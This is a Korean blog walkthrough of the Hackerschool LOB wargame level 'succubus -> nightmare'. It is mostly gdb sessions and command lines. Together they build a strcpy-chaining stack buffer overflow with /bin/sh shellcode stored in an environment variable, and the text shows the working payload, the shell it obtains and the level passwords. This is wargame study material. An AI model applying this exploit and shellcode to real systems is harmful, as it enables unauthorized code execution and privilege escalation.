[lob] 해커스쿨 succubus -> nightmare 풀이
- 보안/HackerSchool-lob
- 2020. 2. 7. 11:42
l 해커스쿨 succubus 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
succubus 문제의 아이디인 succubus 와 password인 here to stay 을 입력하여 succubus의 유저로 접속합니다.
[succubus@localhost succubus]$ cat nightmare.c /* The Lord of the BOF : The Fellowship of the BOF - nightmare - PLT */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <dumpcode.h> main(int argc, char *argv[]) { char buffer[40]; char *addr; if(argc < 2){ printf("argv error\n"); exit(0); } // check address addr = (char *)&strcpy; if(memcmp(argv[1]+44, &addr, 4) != 0){ printf("You must fall in love with strcpy()\n"); exit(0); } // overflow! strcpy(buffer, argv[1]); printf("%s\n", buffer); // dangerous waterfall memset(buffer+40+8, 'A', 4); } |
힌트 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. argv[1]+44는 strcpy 주소와 같아야 합니다. 즉 ret 부분에 strcpy 주소가 들어가야 합니다.
3. argv[1]의 내용이 buffer에 복사됩니다.
4. return + 4부터 4byte의 내용이 A로 채워집니다.
코드 분석 결과 ret 부분에 strcpy가 들어가기 때문에 ret + 4에는 strcpy의 return 영역이라는 것을 알 수 있습니다. 하지만 코드 끝부분에서 strcpy return 영역이 A로 채워집니다. 이번 문제는 strcpy의 기능을 이용한 문제입니다. 아래 그림을 통해 방법을 알아보겠습니다.
1. main의 return 부분에 strcpy의 주소를 넣습니다.
2. return + 4는 strcpy의 return 영역이 될 것입니다.
3. strcpy는 dest와 src 총 두 개의 파라미터를 받습니다. strcpy(dest, src)이기 때문에 뒤에 있는 src가 stack에 먼저 push 됩니다. ebp + 8 위치부터 인자가 들어가게 됩니다.
strcpy는 src의 문자열을 dest에 복사하는 것입니다. 따라서 dest에 strcpy return의 주소를 src에 셸 코드 위치의 주소를 넣어준다면 strcpy return 영역에 셸 코드 위치의 주소가 복사될 것입니다. 코드를 보며 문제를 마저 풀어보겠습니다.
[succubus@localhost succubus]$ bash2 [succubus@localhost succubus]$ export goin1=`python -c 'print "\xff\xff\xff\xff"'` [succubus@localhost succubus]$ export goin2=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` |
환경 변수를 이용하여 셸 코드를 저장해주도록 하겠습니다. goin2에는 셸 코드가 goin1에는 goin2의 주소가 들어가게 되는데 아직 goin2의 주소를 모르기 때문에 \xff\xff\xff\xff로 지정해주었습니다.
[succubus@localhost succubus]$ gdb succubus GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main Dump of assembler code for function main: 0x80486b4 <main>:: push %ebp 0x80486b7 <main+3>: sub $0x2c,%esp 0x804871e <main+106>: lea 0xffffffd8(%ebp),%eax 0x8048721 <main+109>: push %eax 0x8048722 <main+110>: call 0x8048410 <strcpy> |
gdb 확인 결과 stack에는 44byte가 할당되고, buffer는 ebp - 40부터 시작된다는 것을 알 수 있습니다.
이 문제를 풀기 위해 알아야 할 주소는 strcpy의 주소, strcpy의 return 주소, goin1의 주소, goin2의 주소입니다.
strcpy 주소 같은 경우는 0x8048410라는 것을 알 수 있습니다.
(gdb) b *main+115 Breakpoint 1 at 0x8048727 (gdb) r `python -c 'print "A"*44+"\x10\x84\x04\x08"'` Starting program: /home/succubus/succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"'` Breakpoint 1, 0x8048727 in main () (gdb) x/40x $esp 0xbffffac4: 0xbffffad0 0xbffffc5a 0x08048410 0x41414141 0xbffffad4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffae4: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffaf4: 0x41414141 0x41414141 0x08048410 0x00000000 0xbffffb04: 0xbffffb44 0xbffffb50 0x40013868 0x00000002 0xbffffb14: 0x08048420 0x00000000 0x08048441 0x080486b4 0xbffffb24: 0x00000002 0xbffffb44 0x08048350 0x0804877c |
strcpy 실행문 다음에 breakpoint를 잡고 위와 같이 실행 시켜 보았습니다. 파란색 네모 부분이 strcpy의 주소이고, 빨간색 네모 부분이 strcpy의 return 영역입니다. return 영역의 주소는 0xbffffb00입니다.
[succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"CCCC"+"DDDD"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD Segmentation fault (core dumped) [succubus@localhost succubus]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./succubus AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDD'. Program terminated with signal 11, Segmentation fault. #0 0x400767c1 in ?? () (gdb) x/40x $esp-40 0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffa30: 0x41414141 0x41414141 0x4000ae60 0x41414141 0xbffffa40: 0x41414141 0x43434343 0x44444444 0x40013800 0xbffffa50: 0x00000002 0x08048420 0x00000000 0x08048441 ... (gdb) x/1000s $esp 0xbffffe15: "goin1=ÿÿÿÿ" (gdb) x/s 0xbffffe1b 0xbffffe1b: "ÿÿÿÿ" (gdb) x/1000s $esp 0xbffffe3f: "goin2=", '\220' , "1ÀPh//shh/bin\211ãPS\211á\211°\013Í\200" (gdb) x/s 0xbffffe45 0xbffffe45: '\220' , "1ÀPh//shh/bin\211ãPS\211á\211°\013Í\200" |
core dumped를 띄우기 위해 위의 페이로드로 실행시켜주었습니다. BBBB는 strcpy의 return, CCCC는 dest, DDDD는 src입니다.
core 파일 분석 결과입니다.
1. strcpy의 return 주소는 0xbffffa40
2. goin1의 주소는 0xbffffe15이고, 변수명을 뺀 나머지의 주소는 0xbffffe1b(최종 주소)
3. goin2의 주소는 0xbffffe3f이고, 변수명을 뺀 나머지의 주소는 0xbffffe45(최종 주소)
goin2의 주소를 알았으니까 goin1에 goin2의 주소를 다시 넣고, 아래의 페이로드로 실행시켜보겠습니다.
| 페이로드
./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'`
[succubus@localhost succubus]$ export goin1=`python -c 'print "\x45\xfe\xff\xbf"'` [succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB@úÿ¿ÿ¿ bash$ [succubus@localhost succubus]$ rm succubus [succubus@localhost succubus]$ ln -s nightmare succubus [succubus@localhost succubus]$ ./succubus `python -c 'print "A"*44+"\x10\x84\x04\x08"+"BBBB"+"\x40\xfa\xff\xbf"+"\x1b\xfe\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB@úÿ¿ÿ¿ bash$ id uid=517(succubus) gid=517(succubus) euid=518(nightmare) egid=518(nightmare) groups=517(succubus) bash$ my-pass euid = 518 beg for me |
페이로드를 실행시켜보니 셸을 취득했습니다. 기존의 succubus 파일을 삭제하고, 심볼릭 링크를 이용하여 다시 생성해주었습니다. 그리고나서 위의 페이로드를 재실행하면 다음 레벨 유저인 nightmare의 password를 확인할 수 있습니다.
l nightmare 비밀번호
euid = 518
beg for me
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 nightmare -> xavius 풀이 (0) | 2020.02.11 |
---|---|
[lob] 해커스쿨 zombie_assassin -> succubus 풀이 (0) | 2020.02.05 |
[lob] 해커스쿨 assassin -> zombie_assassin 풀이 (0) | 2020.02.01 |
[lob] 해커스쿨 giant -> assassin 풀이 (0) | 2020.01.30 |
[lob] 해커스쿨 bugbear -> giant 풀이 (0) | 2020.01.29 |
이 글을 공유하기